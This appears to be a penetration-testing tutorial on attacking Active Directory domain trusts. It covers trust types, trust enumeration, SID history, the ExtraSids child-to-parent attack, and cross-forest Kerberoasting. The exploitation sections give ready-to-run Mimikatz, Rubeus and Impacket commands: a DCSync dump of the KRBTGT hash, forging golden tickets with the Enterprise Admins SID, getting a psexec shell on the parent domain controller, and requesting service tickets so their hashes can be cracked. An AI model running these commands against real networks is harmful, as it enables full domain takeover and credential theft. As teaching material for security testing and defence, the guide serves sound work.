Domain Trusts

This section will cover ways to attack Domain Trusts in Active Directory.

Table of Contents

• Overview
• Enumeration
• Exploitation
  • SID History Overview
  • ExtraSids Attack
    • Mimikatz
    • Rubeus
    • Linux
  • Cross-Forest Kerberoasting

Overview

A trust is used to establish forest-forest or domain-domain (intra domain) authentication. This allows users to access resources or perform tasks in another domain, outside of the main domain where the account resides in.

A trust creates a link between the authentication system of two domains and may allow either one-way or two-way (bidirectional) communication.

The following are some trust types an organisation can create:

Trust Type	Description
Parent-child	Two or more domains within the same forest. The child domain has a bidirectional (two-way) trust with the parent domain. This means that users in the child domain can authenticate into the parent domain and vice-versa.
Cross-link	A trust domain between child domains to speed up authentication.
External	A non-transitive trust between two separate domains in separate forests which are not already joined by a forest trust. This trust type utilises SID filtering or filters out authentication request (by SID) not from the trusted domain.
Tree-root	A bidirectional (two-way) trust between a forest root domain and a new tree root domain. They are created by design when setting up a new tree root domain within a forest.
ESAE	A bastion forest used to manage Active Directory.

The below diagram is an example.

Trusts can be transitive or non-transitive.

• Transitive - This means a trust is extended to objects that the child domain trusts.
• Non-transitive - The child domain itself is the only one trusted.

An example will be where there are 3 domains. In a transitive trust, if domain A trusts domain B and domain B trusts domain C, domain A will trust C as well. However, in non-transitive, domain A will not trust C and only trust B as told.

The below table will list some trusts.

Transitive	Non-Transitive
Shared, 1 to many.	Direct trust.
The trust is shared with anyone in the forest.	Not extended to next level domains.
Forest, tree-root, parent-child, and cross-link trusts are transitive.	Typical for external or custom trust setups.

Trust can be setup in two directions - one-way or two-way (bidirectional):

• One-way trust - Users in a trusted domain can access resources in a trusting domain, not vice-versa.
• Two-way trust - Users from both trusting domains can access resources in the other domains, vice-versa.

Enumeration

To enumerate domain trusts, we can use tools such as PowerView or built-in tools.

We can use the Get-ADTrust cmdlet from ActiveDirectory module in PowerShell.

https://learn.microsoft.com/en-us/powershell/module/activedirectory/?view=windowsserver2022-ps

If it is already on the target, we can use the following command.

Import-module activedirectory
Get-ADTrust -Filter *

We can also use the Get-DomainTrust module from PowerView.

Get-DomainTrust

PowerView can also get the mapping and the different types of trust with the Get-DomainTrustMapping module.

Get-DomainTrustMapping

Once we have the domains, we can use the Get-DomainUser to enumerate users on the target domain.

Get-DomainUser -Domain <domain> | select SamAccountName

In command prompt, we can use netdom with the trust option.

netdom query /domain:<domain> trust

we can use the dc option to query domain controllers and workstation to query workstations.

netdom query /domain:<domain> dc
netdom query /domain:<domain> workstation

BloodHound can also be used by using the map Domain Trusts pre-built query under the Analysis tab.

Exploitation

This section will cover the following attacks:

• ExtraSids Attack

SID History Overview

The sidHistory attribute is used in migration scenarios. If a user in one domain is migrated to another domain, a new account is created in the second domain. The original user's SID will be added to the new user's SID history attribute. This ensures that the user can still access resources in the original domain.

SID history is intended to work across domains, but can also work in the same domain. We can use tools such as Mimikatz to perform SID history injection and add an administrator account to the SID history attribute of an account we control.

When logging in with the account, all SIDs associated with the account are added to the user's token. This token is used to determine the resources that the user can access. For example, if we have an Domain Admin SID, we can perform attacks such as DCSync, Kerberos TGT, or create a golden ticket.

ExtraSids Attack

This attack allows an attacker to compromise a parent domain once the child domain has been compromised. Within the same AD forest, the sidHistory property is respected due to a lack of SID Filtering protection.

SID filtering is a protection to filter out authentication requests from a domain in another forest across a trust. Therefore, if a user in the child domain has their sidHistory set to the Enterprise Admins group, the user will be treated as a member of the group. We are basically creating a golden ticket from the compromised child domain to attack the parent domain.

This attack will leverage the SIDHistory to grant an account Enterprise Admin rights by modifying this attribute to contain the SID for the Enterprise Admins group to gain full access to the domain without being part of the group.

We will need the following for this attack:

• KRBTGT hash for the child domain.
• SID for the child domain.
• Name of a target user in the child domain (does not need to exist).
• FQDN of the child domain.
• SID of the Enterprise Admins group of the root domain.
• Mimikatz or other similar tools to perform this attack.

To start, we will need to obtain the NT hash for the KRBTGT account. This is a service account for the Key Distribution Center (KDC) in AD. The account is used to encrypt/sign all tickets granted within a given domain. Domain Controllers will use the account password to decrypt and validate Kerberos tickets.

The KRBTGT account can be used to create TGT tickets that can then be used to request for TGS tickets for any service host on the domain. This is known as a Golden Ticket attack. The only way to invalidate a Golden Ticket is to change the password of the KRBTGT account.

Note that admin privileges/complete control over the domain is required to perform this attack.

Mimikatz

We can use Mimikatz and the following to perform a DCSync attack to obtain the NT hash for the KRBTGT account. Note that admin privileges are required.

lsadump::dcsync /user:<child domain>\krbtgt

To obtain the SID for the child domain, we can use PowerView Get-DomainSID module or from the Mimikatz output from earlier.

To obtain the SID for the Enterprise Admins group in the parent domain, we can use PowerView and the Get-DomainGroup module.

Get-DomainGroup -Domain <parent domain> -Identity "Enterprise Admins" | select distinguishedname,objectsid

We can create a Golden Ticket using Mimikatz and the obtained information.

kerberos::golden /user:<username> /domain<child domain> /sid:<child domain sid> /krbtgt:<password hash> /sids:<group sid> /ptt

Command breakdown:

• /user:<username> - The username of the target user in the child domain. Does not need to exist.
• /domain:<child domain> - Specify the child domain.
• /sid:<child domain sid> - Specify the child domain SID.
• /krbtgt:<password hash> - Specify the KRBTGT account NT password hash.
• /sids:<group sid> - Specify the Enterprise admin group SID.
• /ptt - Specify a pass the ticket attack.

We can use the klist command in PowerShell to confirm that it has been created.

Once created, we can start attempting to access resources that are otherwise not available to us. An example will be accessing the C$ share.

ls \\<DC FQDN>\c$

We can also perform a DCSync attack on a specified user in the parent domain.

.\mimikatz.exe lsadump::dcsync /user:<parent domain>\<username> exit

However, if we are attacking multiple domains or the domain is not the same as the user's domain, we will need to specify it.

lsadump::dcsync /user:<parent domain>\<username> /domain:<domain>

Rubeus

To use Rebeus, we can use the following command.

.\rubeus.exe golden /rc4:<password hash> /domain:<child domain> /sid:<child domain SID> /sids:<group SID> /user:<username> /ptt

Command breakdown:

• /rc4:<password hash> - Specify the KRBTGT account password hash.
• /domain:<child domain> - Specify the child domain.
• /sid:<child domain SID> - Specify the child domain SID.
• /sids:<group SID> - Specify the Enterprise admin group SID.
• /user:<username> - The username of the target user in the child domain. Does not need to exist.
• /ptt - Specify a pass the ticket attack.

Once created, we can start attempting to access resources that are otherwise not available to us. An example will be accessing the C$ share.

ls \\<DC FQDN>\c$

Linux

If we are attacking from a Linux machine, we can use the following tools:

• Impacket-secretsdump
• Impacket-lookupsid
• Impacket-ticketer
• Impacket-psexec
• Impacket-raiseChild

Once we have complete control over the child domain, we can perform a DCSync to obtain the NTLM hash of the KRBTGT account.

impacket-secretsdump <child domain>/<username>@<Target IP> -just-dc-user <domain>/krbtgt

Command breakdown:

• <child domain> - Specify the child domain.
• <username> - Specify the username of the compromised account.
• <Target IP> - Specify the target IP address.
• -just-dc-user - Specify to obtain the hash for a specified user.
• <domain> - Specify the child domain.
• krbtgt - Specify to obtain the hash for the specified account.

An example:

impacket-secretsdump sales.mycorp.lan/superuser@10.42.0.102 -just-dc-user sales/krbtgt

Once we have the hash, we can obtain the SID of the child domain using impacket-lookupsid. We will need to specify the IP address of the Domain Controller for the child domain for the SID lookup.

impacket-lookupsid <child domain>/<username>@<child DC IP>

An example:

impacket-lookupsid sales.mycorp.lan/superuser@10.42.0.102

To look for just the domain SID, we can use grep.

impacket-lookupsid sales.mycorp.lan/superuser@10.42.0.102 | grep "Domain SID"

To obtain the Enterprise Admins group SID, we can specify the Domain Controller for the parent domain.

impacket-lookupsid <full child domain>/<username>@<parent DC IP> | grep -B12 "Enterprise Admins"

Once we have the KRBTGT account NTLM password hash, Enterprise Admins group SID, and child domain and its SID, we can use any username for the attack using impacket-ticketer.

impacket-ticketer -nthash <password hash> -domain <child domain> -domain-sid <child domain sid> -extra-sid <group sid> <username>

The above will create a ticket that will be saved on our system in a ccache file. We can set the KRB5CCNAME environment variable to tell the system to use the file for any Kerberos authentication attempts.

export KRB5CCNAME=<file name>.ccache

We can use impacket-psexec to obtain a shell on the parent DC.

impacket-psexec <child domain>/<username>@<parent DC FQDN> -k -no-pass -target-ip <parent DC IP>

Command breakdown:

• <child domain> - Specify the child domain.
• <username> - Specify the username used to create the golden ticket.
• @<parent DC FQDN> - Specify the FQDN of the Domain Controller for the parent domain.
• -k - Use the specified credentials for authentication.
• -no-pass - Specify that no password is required.
• <parent DC IP> - Specify the Domain Controller IP address of the parent domain.

Alternatively, we can use impacket-raiseChild to do this process automatically.

impacket-raiseChild -target-exec <parent DC IP> <child domain>/<username>

Command breakdown:

• -target-exec <parent DC IP> - Specify the Domain Controller IP address of the parent domain.
• <child domain> - Specify the child domain.
• <username> - Specify a valid account username with administrator privileges.

An example:

impacket-raiseChild -target-exec 10.42.0.200 sales.mycorp.lan/myuser

It is always recommended to use "manual" methods over "autopwn" scripts.

Cross-Forest Kerberoasting

Kerberos attacks such as Kerberoasting and ASREPRoasting can be performed across trusts, depending on the trust direction. If we are positioned in a domain with either an inbound or bidirectional domain/forest trust, we can likely perform various attacks to gain a foothold.

Sometimes, we may not be able to privilege escalate but can potentially obtain a Kerberos ticket and crack the hash for an administrative user in another domain that has admin privileges in both domains.

We can use PowerView and the Get-DomainUser module to obtain a list of accounts with SPNs.

Get-DomainUser -SPN -Domain <target domain> | select SamAccountName

To enumerate further into a specific account, we can use the following.

Get-DomainUsers -Domain <target domain> -Identity <username> | select samaccountname,memberof

We can use tools such as Rubeus to perform the Kerberoasting attack.

.\rubeus.exe kerberoast /domain:<target domain> /user:<username> /nowrap

If we are on a Linux machine, we can use impacket-GetUserSPNs instead.

impacket-GetUserSPNs -target-domain <target domain> <domain>/<username>

Command breakdown:

• -target-domain <target domain> - Specify the target domain.
• <domain> - Specify the domain the current user is in.
• <username> - Specify the username to use for authentication.

An example:

impacket-GetUserSPNs -target-domain supercorp.lan mycorp.lan/myuser

We can also specify the -request flag and -outputfile to request for the TGS ticket and output it to a file respectively.

impacket-GetUserSPNs -target-domain <target domain> -request <domain>/<username> -outputfile <file name>

Once we have the hash, we can crack it using tools such as Hashcat or John the Ripper to obtain the password and login as that user in the target domain.

We can also use BloodHound and bloodhound-python on Linux or SharpHound on Windows to gather information and look for potential attack vectors using the Users with Foreign Domain Group Membership prebuild query under Dangerous Rights.